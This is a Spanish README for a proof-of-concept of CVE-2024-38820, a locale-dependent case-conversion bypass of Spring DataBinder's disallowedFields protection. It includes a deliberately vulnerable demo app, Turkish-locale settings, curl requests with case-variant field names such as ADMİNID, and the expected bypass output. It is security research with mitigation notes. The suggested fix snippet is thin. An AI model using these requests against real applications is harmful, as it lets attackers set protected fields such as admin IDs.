
Prueba de concepto de exploit para CVE-2024-38820, que demuestra la omisión de la protección disallowedFields de Spring Framework DataBinder mediante conversión de mayúsculas/minúsculas dependiente de la configuración regional, con pruebas automatizadas y guía de mitigación.
Este proyecto demuestra CVE-2024-38820, una vulnerabilidad en DataBinder de Spring Framework que permite omitir la protección disallowedFields debido a problemas de conversión de mayúsculas/minúsculas dependientes de la configuración regional.
String.toLowerCase() varía según la configuración regionalLa corrección para CVE-2022-22968 hizo que los patrones de disallowedFields no distinguieran entre mayúsculas y minúsculas usando String.toLowerCase(). Sin embargo, este método tiene excepciones dependientes de la configuración regional:
"ADMINID".toLowerCase() se convierte en "adminıd" (con ı sin punto)"ADMINID".toLowerCase() se convierte en "adminid"Esta diferencia puede permitir a los atacantes omitir la protección de campos usando variaciones específicas de mayúsculas/minúsculas.
src/
├── main/java/com/example/demo/
│ ├── DemoApplication.java # Spring Boot main class
│ ├── controller/UserController.java # Vulnerable controller with @InitBinder
│ └── model/UserInfo.java # Model with protected adminId field
└── resources/application.properties # Locale configuration
test-cve-2024-38820.sh # Automated test script
pom.xml # Maven dependencies (Spring 5.3.39 - vulnerable)
# Build the project
mvn clean compile
# Run the application
mvn spring-boot:run
La aplicación iniciará en http://localhost:8081
Visite el endpoint de prueba para ver información de la configuración regional:
http://localhost:8081/test
Pruebe diferentes variaciones de nombres de campos:
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"
# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"
# Mixed case (may bypass)
curl "http://localhost:8081/user?username=test&AdminId=999"
# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"
Ejecute el script de prueba completo:
./test-cve-2024-38820.sh
adminId=999 → BLOQUEADO (caso normal)ADMINID=999 → OMITIDO (mayúsculas)AdminId=999 → OMITIDO (mayúsculas y minúsculas)ADMİNID=999 → OMITIDO (İ turca)adminId=999 → BLOQUEADO (caso normal)ADMINID=999 → BLOQUEADO (protegido)AdminId=999 → BLOQUEADO (protegido)Edite src/main/resources/application.properties:
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR
# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US
También puede establecer la configuración regional predeterminada de la JVM:
mvn spring-boot:run -Duser.language=tr -Duser.country=TR
@InitBinder configura disallowedFields("adminId")toLowerCase()"ADMINID".toLowerCase() ≠ "adminid"adminIdLa aplicación registra información detallada:
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'
Use coincidencia de campos sensible a la configuración regional:
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
// Use English locale explicitly
dataBinder.setDisallowedFields("adminId");
// Additional protection: check field names with specific locale
}
Implemente una validación de campo personalizada que no dependa de operaciones sensibles a la configuración regional.
Esta prueba de concepto es solo para fines educativos y de investigación en seguridad. Úsela de manera responsable y solo en sistemas que le pertenezcan o para los que tenga permiso explícito de prueba.